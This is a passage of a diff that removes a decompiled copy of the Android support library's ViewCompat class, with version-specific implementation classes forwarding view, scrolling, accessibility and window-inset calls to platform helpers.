computeVerticalScrollOffset > 0 : computeVerticalScrollOffset < computeVerticalScrollRange - 1; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean startNestedScroll(View view, int i) { - if (view instanceof NestedScrollingChild) { - return ((NestedScrollingChild) view).startNestedScroll(i); - } - return false; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void stopNestedScroll(View view) { - if (view instanceof NestedScrollingChild) { - ((NestedScrollingChild) view).stopNestedScroll(); - } - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean hasNestedScrollingParent(View view) { - if (view instanceof NestedScrollingChild) { - return ((NestedScrollingChild) view).hasNestedScrollingParent(); - } - return false; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean dispatchNestedScroll(View view, int i, int i2, int i3, int i4, int[] iArr) { - if (view instanceof NestedScrollingChild) { - return ((NestedScrollingChild) view).dispatchNestedScroll(i, i2, i3, i4, iArr); - } - return false; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean dispatchNestedPreScroll(View view, int i, int i2, int[] iArr, int[] iArr2) { - if (view instanceof NestedScrollingChild) { - return ((NestedScrollingChild) view).dispatchNestedPreScroll(i, i2, iArr, iArr2); - } - return false; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean dispatchNestedFling(View view, float f, float f2, boolean z) { - if (view instanceof NestedScrollingChild) { - return ((NestedScrollingChild) view).dispatchNestedFling(f, f2, z); - } - return false; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean dispatchNestedPreFling(View view, float f, float f2) { - if (view instanceof NestedScrollingChild) { - return ((NestedScrollingChild) view).dispatchNestedPreFling(f, f2); - } - return false; - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean isLaidOut(View view) { - return ViewCompatBase.isLaidOut(view); - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public float getZ(View view) { - return getTranslationZ(view) + getElevation(view); - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean isAttachedToWindow(View view) { - return ViewCompatBase.isAttachedToWindow(view); - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void offsetLeftAndRight(View view, int i) { - ViewCompatBase.offsetLeftAndRight(view, i); - } - - @Override // android.support.v4.view.ViewCompat.ViewCompatImpl - public void offsetTopAndBottom(View view, int i) { - ViewCompatBase.offsetTopAndBottom(view, i); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class HCViewCompatImpl extends BaseViewCompatImpl { - HCViewCompatImpl() { - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl - long getFrameTime() { - return ViewCompatHC.getFrameTime(); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public float getAlpha(View view) { - return ViewCompatHC.getAlpha(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setLayerType(View view, int i, Paint paint) { - ViewCompatHC.setLayerType(view, i, paint); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public int getLayerType(View view) { - return ViewCompatHC.getLayerType(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setLayerPaint(View view, Paint paint) { - setLayerType(view, getLayerType(view), paint); - view.invalidate(); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public int resolveSizeAndState(int i, int i2, int i3) { - return ViewCompatHC.resolveSizeAndState(i, i2, i3); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public int getMeasuredWidthAndState(View view) { - return ViewCompatHC.getMeasuredWidthAndState(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public int getMeasuredHeightAndState(View view) { - return ViewCompatHC.getMeasuredHeightAndState(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public int getMeasuredState(View view) { - return ViewCompatHC.getMeasuredState(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public float getTranslationX(View view) { - return ViewCompatHC.getTranslationX(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public float getTranslationY(View view) { - return ViewCompatHC.getTranslationY(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public Matrix getMatrix(View view) { - return ViewCompatHC.getMatrix(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setTranslationX(View view, float f) { - ViewCompatHC.setTranslationX(view, f); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setTranslationY(View view, float f) { - ViewCompatHC.setTranslationY(view, f); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setAlpha(View view, float f) { - ViewCompatHC.setAlpha(view, f); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setX(View view, float f) { - ViewCompatHC.setX(view, f); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setY(View view, float f) { - ViewCompatHC.setY(view, f); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setRotation(View view, float f) { - ViewCompatHC.setRotation(view, f); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setRotationX(View view, float f) { - ViewCompatHC.setRotationX(view, f); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setRotationY(View view, float f) { - ViewCompatHC.setRotationY(view, f); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setScaleX(View view, float f) { - ViewCompatHC.setScaleX(view, f); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setScaleY(View view, float f) { - ViewCompatHC.setScaleY(view, f); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setPivotX(View view, float f) { - ViewCompatHC.setPivotX(view, f); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setPivotY(View view, float f) { - ViewCompatHC.setPivotY(view, f); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public float getX(View view) { - return ViewCompatHC.getX(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public float getY(View view) { - return ViewCompatHC.getY(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public float getRotation(View view) { - return ViewCompatHC.getRotation(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public float getRotationX(View view) { - return ViewCompatHC.getRotationX(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public float getRotationY(View view) { - return ViewCompatHC.getRotationY(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public float getScaleX(View view) { - return ViewCompatHC.getScaleX(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public float getScaleY(View view) { - return ViewCompatHC.getScaleY(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public float getPivotX(View view) { - return ViewCompatHC.getPivotX(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public float getPivotY(View view) { - return ViewCompatHC.getPivotY(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void jumpDrawablesToCurrentState(View view) { - ViewCompatHC.jumpDrawablesToCurrentState(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setSaveFromParentEnabled(View view, boolean z) { - ViewCompatHC.setSaveFromParentEnabled(view, z); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setActivated(View view, boolean z) { - ViewCompatHC.setActivated(view, z); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public int combineMeasuredStates(int i, int i2) { - return ViewCompatHC.combineMeasuredStates(i, i2); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void offsetLeftAndRight(View view, int i) { - ViewCompatHC.offsetLeftAndRight(view, i); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void offsetTopAndBottom(View view, int i) { - ViewCompatHC.offsetTopAndBottom(view, i); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ICSViewCompatImpl extends HCViewCompatImpl { - static boolean accessibilityDelegateCheckFailed; - static Field mAccessibilityDelegateField; - - ICSViewCompatImpl() { - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean canScrollHorizontally(View view, int i) { - return ViewCompatICS.canScrollHorizontally(view, i); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean canScrollVertically(View view, int i) { - return ViewCompatICS.canScrollVertically(view, i); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void onPopulateAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - ViewCompatICS.onPopulateAccessibilityEvent(view, accessibilityEvent); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void onInitializeAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - ViewCompatICS.onInitializeAccessibilityEvent(view, accessibilityEvent); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void onInitializeAccessibilityNodeInfo(View view, AccessibilityNodeInfoCompat accessibilityNodeInfoCompat) { - ViewCompatICS.onInitializeAccessibilityNodeInfo(view, accessibilityNodeInfoCompat.getInfo()); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setAccessibilityDelegate(View view, AccessibilityDelegateCompat accessibilityDelegateCompat) { - ViewCompatICS.setAccessibilityDelegate(view, accessibilityDelegateCompat == null ? null : accessibilityDelegateCompat.getBridge()); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean hasAccessibilityDelegate(View view) { - if (accessibilityDelegateCheckFailed) { - return false; - } - if (mAccessibilityDelegateField == null) { - try { - Field declaredField = View.class.getDeclaredField("mAccessibilityDelegate"); - mAccessibilityDelegateField = declaredField; - declaredField.setAccessible(true); - } catch (Throwable unused) { - accessibilityDelegateCheckFailed = true; - return false; - } - } - try { - return mAccessibilityDelegateField.get(view) != null; - } catch (Throwable unused2) { - accessibilityDelegateCheckFailed = true; - return false; - } - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public ViewPropertyAnimatorCompat animate(View view) { - if (this.mViewPropertyAnimatorCompatMap == null) { - this.mViewPropertyAnimatorCompatMap = new WeakHashMap<>(); - } - ViewPropertyAnimatorCompat viewPropertyAnimatorCompat = this.mViewPropertyAnimatorCompatMap.get(view); - if (viewPropertyAnimatorCompat == null) { - ViewPropertyAnimatorCompat viewPropertyAnimatorCompat2 = new ViewPropertyAnimatorCompat(view); - this.mViewPropertyAnimatorCompatMap.put(view, viewPropertyAnimatorCompat2); - return viewPropertyAnimatorCompat2; - } - return viewPropertyAnimatorCompat; - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setFitsSystemWindows(View view, boolean z) { - ViewCompatICS.setFitsSystemWindows(view, z); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ICSMr1ViewCompatImpl extends ICSViewCompatImpl { - ICSMr1ViewCompatImpl() { - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean hasOnClickListeners(View view) { - return ViewCompatICSMr1.hasOnClickListeners(view); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class JBViewCompatImpl extends ICSMr1ViewCompatImpl { - JBViewCompatImpl() { - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean hasTransientState(View view) { - return ViewCompatJB.hasTransientState(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setHasTransientState(View view, boolean z) { - ViewCompatJB.setHasTransientState(view, z); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void postInvalidateOnAnimation(View view) { - ViewCompatJB.postInvalidateOnAnimation(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void postInvalidateOnAnimation(View view, int i, int i2, int i3, int i4) { - ViewCompatJB.postInvalidateOnAnimation(view, i, i2, i3, i4); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void postOnAnimation(View view, Runnable runnable) { - ViewCompatJB.postOnAnimation(view, runnable); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void postOnAnimationDelayed(View view, Runnable runnable, long j) { - ViewCompatJB.postOnAnimationDelayed(view, runnable, j); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public int getImportantForAccessibility(View view) { - return ViewCompatJB.getImportantForAccessibility(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setImportantForAccessibility(View view, int i) { - if (i == 4) { - i = 2; - } - ViewCompatJB.setImportantForAccessibility(view, i); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean performAccessibilityAction(View view, int i, Bundle bundle) { - return ViewCompatJB.performAccessibilityAction(view, i, bundle); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public AccessibilityNodeProviderCompat getAccessibilityNodeProvider(View view) { - Object accessibilityNodeProvider = ViewCompatJB.getAccessibilityNodeProvider(view); - if (accessibilityNodeProvider != null) { - return new AccessibilityNodeProviderCompat(accessibilityNodeProvider); - } - return null; - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public ViewParent getParentForAccessibility(View view) { - return ViewCompatJB.getParentForAccessibility(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public int getMinimumWidth(View view) { - return ViewCompatJB.getMinimumWidth(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public int getMinimumHeight(View view) { - return ViewCompatJB.getMinimumHeight(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void requestApplyInsets(View view) { - ViewCompatJB.requestApplyInsets(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean getFitsSystemWindows(View view) { - return ViewCompatJB.getFitsSystemWindows(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean hasOverlappingRendering(View view) { - return ViewCompatJB.hasOverlappingRendering(view); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class JbMr1ViewCompatImpl extends JBViewCompatImpl { - JbMr1ViewCompatImpl() { - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public int getLabelFor(View view) { - return ViewCompatJellybeanMr1.getLabelFor(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setLabelFor(View view, int i) { - ViewCompatJellybeanMr1.setLabelFor(view, i); - } - - @Override // android.support.v4.view.ViewCompat.HCViewCompatImpl, android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setLayerPaint(View view, Paint paint) { - ViewCompatJellybeanMr1.setLayerPaint(view, paint); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public int getLayoutDirection(View view) { - return ViewCompatJellybeanMr1.getLayoutDirection(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setLayoutDirection(View view, int i) { - ViewCompatJellybeanMr1.setLayoutDirection(view, i); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public int getPaddingStart(View view) { - return ViewCompatJellybeanMr1.getPaddingStart(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public int getPaddingEnd(View view) { - return ViewCompatJellybeanMr1.getPaddingEnd(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setPaddingRelative(View view, int i, int i2, int i3, int i4) { - ViewCompatJellybeanMr1.setPaddingRelative(view, i, i2, i3, i4); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public int getWindowSystemUiVisibility(View view) { - return ViewCompatJellybeanMr1.getWindowSystemUiVisibility(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean isPaddingRelative(View view) { - return ViewCompatJellybeanMr1.isPaddingRelative(view); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class JbMr2ViewCompatImpl extends JbMr1ViewCompatImpl { - JbMr2ViewCompatImpl() { - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setClipBounds(View view, Rect rect) { - ViewCompatJellybeanMr2.setClipBounds(view, rect); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public Rect getClipBounds(View view) { - return ViewCompatJellybeanMr2.getClipBounds(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean isInLayout(View view) { - return ViewCompatJellybeanMr2.isInLayout(view); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class KitKatViewCompatImpl extends JbMr2ViewCompatImpl { - KitKatViewCompatImpl() { - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public int getAccessibilityLiveRegion(View view) { - return ViewCompatKitKat.getAccessibilityLiveRegion(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setAccessibilityLiveRegion(View view, int i) { - ViewCompatKitKat.setAccessibilityLiveRegion(view, i); - } - - @Override // android.support.v4.view.ViewCompat.JBViewCompatImpl, android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setImportantForAccessibility(View view, int i) { - ViewCompatJB.setImportantForAccessibility(view, i); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean isLaidOut(View view) { - return ViewCompatKitKat.isLaidOut(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean isLayoutDirectionResolved(View view) { - return ViewCompatKitKat.isLayoutDirectionResolved(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean isAttachedToWindow(View view) { - return ViewCompatKitKat.isAttachedToWindow(view); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class LollipopViewCompatImpl extends KitKatViewCompatImpl { - LollipopViewCompatImpl() { - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setTransitionName(View view, String str) { - ViewCompatLollipop.setTransitionName(view, str); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public String getTransitionName(View view) { - return ViewCompatLollipop.getTransitionName(view); - } - - @Override // android.support.v4.view.ViewCompat.JBViewCompatImpl, android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void requestApplyInsets(View view) { - ViewCompatLollipop.requestApplyInsets(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setElevation(View view, float f) { - ViewCompatLollipop.setElevation(view, f); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public float getElevation(View view) { - return ViewCompatLollipop.getElevation(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setTranslationZ(View view, float f) { - ViewCompatLollipop.setTranslationZ(view, f); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public float getTranslationZ(View view) { - return ViewCompatLollipop.getTranslationZ(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setOnApplyWindowInsetsListener(View view, final OnApplyWindowInsetsListener onApplyWindowInsetsListener) { - if (onApplyWindowInsetsListener == null) { - ViewCompatLollipop.setOnApplyWindowInsetsListener(view, null); - } else { - ViewCompatLollipop.setOnApplyWindowInsetsListener(view, new ViewCompatLollipop.OnApplyWindowInsetsListenerBridge() { // from class: android.support.v4.view.ViewCompat.LollipopViewCompatImpl.1 - @Override // android.support.v4.view.ViewCompatLollipop.OnApplyWindowInsetsListenerBridge - public Object onApplyWindowInsets(View view2, Object obj) { - return WindowInsetsCompat.unwrap(onApplyWindowInsetsListener.onApplyWindowInsets(view2, WindowInsetsCompat.wrap(obj))); - } - }); - } - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setNestedScrollingEnabled(View view, boolean z) { - ViewCompatLollipop.setNestedScrollingEnabled(view, z); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean isNestedScrollingEnabled(View view) { - return ViewCompatLollipop.isNestedScrollingEnabled(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean startNestedScroll(View view, int i) { - return ViewCompatLollipop.startNestedScroll(view, i); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void stopNestedScroll(View view) { - ViewCompatLollipop.stopNestedScroll(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean hasNestedScrollingParent(View view) { - return ViewCompatLollipop.hasNestedScrollingParent(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean dispatchNestedScroll(View view, int i, int i2, int i3, int i4, int[] iArr) { - return ViewCompatLollipop.dispatchNestedScroll(view, i, i2, i3, i4, iArr); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean dispatchNestedPreScroll(View view, int i, int i2, int[] iArr, int[] iArr2) { - return ViewCompatLollipop.dispatchNestedPreScroll(view, i, i2, iArr, iArr2); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean dispatchNestedFling(View view, float f, float f2, boolean z) { - return ViewCompatLollipop.dispatchNestedFling(view, f, f2, z); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean dispatchNestedPreFling(View view, float f, float f2) { - return ViewCompatLollipop.dispatchNestedPreFling(view, f, f2); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public boolean isImportantForAccessibility(View view) { - return ViewCompatLollipop.isImportantForAccessibility(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public ColorStateList getBackgroundTintList(View view) { - return ViewCompatLollipop.getBackgroundTintList(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setBackgroundTintList(View view, ColorStateList colorStateList) { - ViewCompatLollipop.setBackgroundTintList(view, colorStateList); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setBackgroundTintMode(View view, PorterDuff.Mode mode) { - ViewCompatLollipop.setBackgroundTintMode(view, mode); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public PorterDuff.Mode getBackgroundTintMode(View view) { - return ViewCompatLollipop.getBackgroundTintMode(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public WindowInsetsCompat onApplyWindowInsets(View view, WindowInsetsCompat windowInsetsCompat) { - return WindowInsetsCompat.wrap(ViewCompatLollipop.onApplyWindowInsets(view, WindowInsetsCompat.unwrap(windowInsetsCompat))); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public WindowInsetsCompat dispatchApplyWindowInsets(View view, WindowInsetsCompat windowInsetsCompat) { - return WindowInsetsCompat.wrap(ViewCompatLollipop.dispatchApplyWindowInsets(view, WindowInsetsCompat.unwrap(windowInsetsCompat))); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public float getZ(View view) { - return ViewCompatLollipop.getZ(view); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setZ(View view, float f) { - ViewCompatLollipop.setZ(view, f); - } - - @Override // android.support.v4.view.ViewCompat.HCViewCompatImpl, android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void offsetLeftAndRight(View view, int i) { - ViewCompatLollipop.offsetLeftAndRight(view, i); - } - - @Override // android.support.v4.view.ViewCompat.HCViewCompatImpl, android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void offsetTopAndBottom(View view, int i) { - ViewCompatLollipop.offsetTopAndBottom(view, i); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class MarshmallowViewCompatImpl extends LollipopViewCompatImpl { - MarshmallowViewCompatImpl() { - 